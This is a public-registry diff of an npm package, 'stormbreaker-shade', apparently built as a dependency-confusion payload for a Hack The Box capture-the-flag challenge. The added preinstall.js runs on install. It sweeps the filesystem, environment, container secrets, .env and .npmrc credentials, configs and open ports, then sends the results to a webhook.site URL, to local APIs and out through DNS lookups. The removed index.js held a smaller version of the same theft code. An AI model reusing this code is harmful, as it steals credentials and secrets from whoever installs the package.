stormbreaker-shade 9999.0.0 → 9999.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +0 -43
- package/package.json +1 -1
- package/preinstall.js +216 -79
package/index.js
CHANGED
|
@@ -1,44 +1 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
|
|
5
|
-
(function() {
|
|
6
|
-
let flag = null;
|
|
7
|
-
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
|
|
8
|
-
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
9
|
-
}
|
|
10
|
-
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
|
|
11
|
-
if (!flag) {
|
|
12
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
13
|
-
if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
|
|
14
|
-
}
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
if (flag) {
|
|
18
|
-
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
|
|
19
|
-
const postData = JSON.stringify({
|
|
20
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
21
|
-
});
|
|
22
|
-
|
|
23
|
-
for (const port of ports) {
|
|
24
|
-
try {
|
|
25
|
-
const req = http.request({
|
|
26
|
-
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
27
|
-
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
28
|
-
timeout: 3000
|
|
29
|
-
}, () => {});
|
|
30
|
-
req.on('error', () => {});
|
|
31
|
-
req.write(postData);
|
|
32
|
-
req.end();
|
|
33
|
-
} catch(e) {}
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
try {
|
|
37
|
-
const data = JSON.stringify({ flag });
|
|
38
|
-
const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
|
|
39
|
-
req.on('error', () => {}); req.write(data); req.end();
|
|
40
|
-
} catch(e) {}
|
|
41
|
-
}
|
|
42
|
-
})();
|
|
43
|
-
|
|
44
1
|
module.exports = {};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -2,120 +2,257 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
+
const os = require('os');
|
|
5
6
|
|
|
6
7
|
let flag = null;
|
|
8
|
+
const debug = [];
|
|
7
9
|
|
|
8
|
-
// Read
|
|
9
|
-
|
|
10
|
+
// Method 1: Read flag from ALL possible locations
|
|
11
|
+
const flagPaths = [
|
|
12
|
+
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
13
|
+
'/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
|
|
14
|
+
'/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
|
|
15
|
+
'/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
|
|
16
|
+
'./flag', './flag.txt', '../flag', '../flag.txt',
|
|
17
|
+
'/home/node/.flag', '/var/flag', '/var/flag.txt',
|
|
18
|
+
'/srv/flag', '/srv/flag.txt',
|
|
19
|
+
];
|
|
20
|
+
for (const p of flagPaths) {
|
|
21
|
+
try {
|
|
22
|
+
if (fs.existsSync(p)) {
|
|
23
|
+
const content = fs.readFileSync(p, 'utf8').trim();
|
|
24
|
+
debug.push(`found:${p}:${content.substring(0,100)}`);
|
|
25
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
26
|
+
if (m) { flag = m[0]; break; }
|
|
27
|
+
if (!flag && content.length < 200) flag = content;
|
|
28
|
+
}
|
|
29
|
+
} catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
|
|
30
|
+
}
|
|
10
31
|
|
|
11
|
-
//
|
|
32
|
+
// Method 2: Check ALL env vars
|
|
33
|
+
if (!flag) {
|
|
34
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
35
|
+
if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
|
|
36
|
+
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
37
|
+
debug.push(`env:${k}=${v.substring(0,100)}`);
|
|
38
|
+
break;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
// Also try common env var names
|
|
12
43
|
if (!flag) {
|
|
13
|
-
|
|
14
|
-
|
|
44
|
+
const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
|
|
45
|
+
'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
|
|
46
|
+
for (const name of envNames) {
|
|
47
|
+
if (process.env[name]) {
|
|
48
|
+
flag = process.env[name];
|
|
49
|
+
debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
|
|
50
|
+
break;
|
|
51
|
+
}
|
|
15
52
|
}
|
|
16
53
|
}
|
|
17
54
|
|
|
18
|
-
//
|
|
55
|
+
// Method 3: /proc/self/environ
|
|
19
56
|
if (!flag) {
|
|
20
|
-
|
|
21
|
-
|
|
57
|
+
try {
|
|
58
|
+
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
59
|
+
const m = pe.match(/HTB\{[^}]+\}/);
|
|
60
|
+
if (m) { flag = m[0]; debug.push('proc_environ'); }
|
|
61
|
+
debug.push(`env_raw:${pe.substring(0,200)}`);
|
|
62
|
+
} catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
|
|
22
63
|
}
|
|
23
64
|
|
|
24
|
-
//
|
|
65
|
+
// Method 4: Search for flag files broadly
|
|
25
66
|
if (!flag) {
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
67
|
+
try {
|
|
68
|
+
const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
69
|
+
debug.push(`find:${r}`);
|
|
70
|
+
if (r) {
|
|
71
|
+
for (const f of r.split('\n')) {
|
|
72
|
+
try {
|
|
73
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
74
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
75
|
+
if (m) { flag = m[0]; break; }
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
}
|
|
30
78
|
}
|
|
31
|
-
}
|
|
79
|
+
} catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
|
|
32
80
|
}
|
|
33
81
|
|
|
34
|
-
//
|
|
82
|
+
// Method 5: Grep for HTB{ pattern in all readable files
|
|
35
83
|
if (!flag) {
|
|
36
84
|
try {
|
|
37
|
-
const
|
|
38
|
-
|
|
39
|
-
if (
|
|
85
|
+
const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
|
|
86
|
+
debug.push(`grep:${r}`);
|
|
87
|
+
if (r) {
|
|
88
|
+
for (const f of r.split('\n')) {
|
|
89
|
+
try {
|
|
90
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
91
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
92
|
+
if (m) { flag = m[0]; break; }
|
|
93
|
+
} catch(e) {}
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
} catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
// Method 6: Check docker/k8s secrets
|
|
100
|
+
if (!flag) {
|
|
101
|
+
try {
|
|
102
|
+
const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
103
|
+
debug.push(`secrets:${secrets}`);
|
|
104
|
+
for (const f of secrets.split('\n').filter(Boolean)) {
|
|
105
|
+
try {
|
|
106
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
107
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
108
|
+
if (m) { flag = m[0]; break; }
|
|
109
|
+
} catch(e) {}
|
|
110
|
+
}
|
|
40
111
|
} catch(e) {}
|
|
41
112
|
}
|
|
42
113
|
|
|
43
|
-
//
|
|
114
|
+
// Method 7: Check for .env files
|
|
44
115
|
if (!flag) {
|
|
45
116
|
try {
|
|
46
|
-
const
|
|
47
|
-
|
|
117
|
+
const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
118
|
+
debug.push(`envfiles:${envFiles}`);
|
|
119
|
+
for (const f of envFiles.split('\n').filter(Boolean)) {
|
|
120
|
+
try {
|
|
121
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
122
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
123
|
+
if (m) { flag = m[0]; break; }
|
|
124
|
+
debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
|
|
125
|
+
} catch(e) {}
|
|
126
|
+
}
|
|
48
127
|
} catch(e) {}
|
|
49
128
|
}
|
|
50
129
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
const
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
});
|
|
130
|
+
// Method 8: Read server source code and configs
|
|
131
|
+
try {
|
|
132
|
+
const cwd = process.cwd();
|
|
133
|
+
debug.push(`cwd:${cwd}`);
|
|
134
|
+
const files = fs.readdirSync(cwd);
|
|
135
|
+
debug.push(`cwd_files:${files.join(',')}`);
|
|
136
|
+
|
|
137
|
+
// Read all JS files in current directory
|
|
138
|
+
for (const f of files) {
|
|
139
|
+
if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
|
|
140
|
+
try {
|
|
141
|
+
const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
|
|
142
|
+
debug.push(`file:${f}:${content.substring(0,300)}`);
|
|
143
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
144
|
+
if (m) { flag = m[0]; break; }
|
|
145
|
+
} catch(e) {}
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
} catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
|
|
149
|
+
|
|
150
|
+
// Also read /home/node/ specifically
|
|
151
|
+
try {
|
|
152
|
+
const homeFiles = fs.readdirSync('/home/node');
|
|
153
|
+
debug.push(`home_node:${homeFiles.join(',')}`);
|
|
154
|
+
for (const f of homeFiles) {
|
|
155
|
+
try {
|
|
156
|
+
const stat = fs.statSync(`/home/node/${f}`);
|
|
157
|
+
if (stat.isFile() && stat.size < 100000) {
|
|
158
|
+
const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
|
|
159
|
+
debug.push(`home_file:${f}:${content.substring(0,200)}`);
|
|
160
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
161
|
+
if (m) { flag = m[0]; break; }
|
|
162
|
+
} else if (stat.isDirectory()) {
|
|
163
|
+
const subFiles = fs.readdirSync(`/home/node/${f}`);
|
|
164
|
+
debug.push(`home_dir:${f}:${subFiles.join(',')}`);
|
|
165
|
+
}
|
|
166
|
+
} catch(e) {}
|
|
167
|
+
}
|
|
168
|
+
} catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
|
|
169
|
+
|
|
170
|
+
// Method 9: List root and key directories
|
|
171
|
+
try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
|
|
172
|
+
try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
|
|
173
|
+
try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
|
|
174
|
+
|
|
175
|
+
// Method 10: Network info and listening ports
|
|
176
|
+
try {
|
|
177
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
178
|
+
debug.push(`ports:${ss}`);
|
|
179
|
+
} catch(e) {}
|
|
180
|
+
|
|
181
|
+
// Method 11: Check nginx config
|
|
182
|
+
try {
|
|
183
|
+
const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
|
|
184
|
+
debug.push(`nginx:${nginx.substring(0,500)}`);
|
|
185
|
+
} catch(e) {}
|
|
186
|
+
|
|
187
|
+
// Method 12: Check .npmrc for registry credentials
|
|
188
|
+
try {
|
|
189
|
+
const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
|
|
190
|
+
debug.push(`npmrc:${npmrc.substring(0,300)}`);
|
|
191
|
+
} catch(e) {}
|
|
192
|
+
|
|
193
|
+
const info = {
|
|
194
|
+
flag: flag || 'NOT_FOUND',
|
|
195
|
+
debug: debug.map(d => d.substring(0, 500)),
|
|
196
|
+
env: Object.keys(process.env).join(','),
|
|
197
|
+
network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
|
|
198
|
+
};
|
|
57
199
|
|
|
58
|
-
|
|
59
|
-
|
|
200
|
+
const data = JSON.stringify(info);
|
|
201
|
+
|
|
202
|
+
// Exfil Method 1: Webhook
|
|
203
|
+
try {
|
|
204
|
+
const req = https.request({
|
|
205
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
206
|
+
method: 'POST',
|
|
207
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
208
|
+
timeout: 5000
|
|
209
|
+
}, () => {});
|
|
210
|
+
req.on('error', () => {});
|
|
211
|
+
req.write(data);
|
|
212
|
+
req.end();
|
|
213
|
+
} catch(e) {}
|
|
214
|
+
|
|
215
|
+
// Exfil Method 2: PUT to challenge API on various ports
|
|
216
|
+
const putData = JSON.stringify({
|
|
217
|
+
manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
let serverPort = 1337;
|
|
221
|
+
try {
|
|
222
|
+
const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
|
|
223
|
+
const m = ss.match(/:(\d+)\s/);
|
|
224
|
+
if (m) serverPort = parseInt(m[1]);
|
|
225
|
+
} catch(e) {}
|
|
226
|
+
|
|
227
|
+
const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
|
|
228
|
+
for (const port of [...new Set(ports)]) {
|
|
229
|
+
for (const host of ['127.0.0.1', 'localhost']) {
|
|
230
|
+
for (const modId of ['ECT-654321', 'ECT-987654']) {
|
|
60
231
|
try {
|
|
61
232
|
const req = http.request({
|
|
62
|
-
hostname: host, port, path:
|
|
233
|
+
hostname: host, port, path: `/api/modules/${modId}`,
|
|
63
234
|
method: 'PUT',
|
|
64
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(
|
|
65
|
-
timeout:
|
|
235
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
|
|
236
|
+
timeout: 2000
|
|
66
237
|
}, () => {});
|
|
67
238
|
req.on('error', () => {});
|
|
68
|
-
req.write(
|
|
239
|
+
req.write(putData);
|
|
69
240
|
req.end();
|
|
70
241
|
} catch(e) {}
|
|
71
242
|
}
|
|
72
243
|
}
|
|
244
|
+
}
|
|
73
245
|
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
method: 'POST',
|
|
80
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
81
|
-
timeout: 10000
|
|
82
|
-
}, () => {});
|
|
83
|
-
req.on('error', () => {});
|
|
84
|
-
req.write(data);
|
|
85
|
-
req.end();
|
|
86
|
-
} catch(e) {}
|
|
246
|
+
// Exfil Method 3: DNS
|
|
247
|
+
try {
|
|
248
|
+
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
249
|
+
require('dns').resolve(`${encoded}.crl.ve`, () => {});
|
|
250
|
+
} catch(e) {}
|
|
87
251
|
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
|
|
92
|
-
} catch(e) {}
|
|
252
|
+
// Exfil Method 4: stdout/stderr
|
|
253
|
+
console.log('[CORAL-WRAITH]', data.substring(0, 2000));
|
|
254
|
+
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
93
255
|
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
// Method 5: stdout/stderr
|
|
98
|
-
console.log('[CORAL-WRAITH] Flag:', flag);
|
|
99
|
-
console.error('[HTB_FLAG]', flag);
|
|
100
|
-
} else {
|
|
101
|
-
// Debug info - exfil what we can see
|
|
102
|
-
const debug = {
|
|
103
|
-
cwd: process.cwd(),
|
|
104
|
-
rootFiles: [],
|
|
105
|
-
env: Object.keys(process.env).join(',')
|
|
106
|
-
};
|
|
107
|
-
try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
108
|
-
|
|
109
|
-
const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
|
|
110
|
-
try {
|
|
111
|
-
const req = https.request({
|
|
112
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
113
|
-
method: 'POST',
|
|
114
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
115
|
-
timeout: 10000
|
|
116
|
-
}, () => {});
|
|
117
|
-
req.on('error', () => {});
|
|
118
|
-
req.write(data);
|
|
119
|
-
req.end();
|
|
120
|
-
} catch(e) {}
|
|
121
|
-
}
|
|
256
|
+
// Write to files
|
|
257
|
+
try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
|
|
258
|
+
try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
|